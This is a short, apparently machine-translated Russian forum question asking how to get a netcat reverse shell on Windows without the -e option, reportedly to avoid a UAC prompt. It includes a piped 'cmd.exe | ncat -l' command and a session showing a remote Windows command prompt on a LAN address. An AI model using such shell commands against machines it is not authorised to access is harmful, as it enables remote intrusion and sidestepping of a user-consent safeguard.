Обратная оболочка с помощью netcat в windows (опция no-e)

есть ли способ получить обратную оболочку в Windows с помощью netcat без использования опции-e, так как она запускает UAC?

Я заставил его работать от Linux до Linux, используя именованный канал. Я хотел добиться чего-то подобного в Windows.

Running c:windowssystem32cmd.exe | ncat -l -p 666 на Windows дает мне подсказку в Linux при подключении:

# nc 192.168.0.109 666
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:Usersuser> dir

^C

похоже, что я близко, может быть, что-то простое не хватает? Если бы только в окнах были именованные трубы...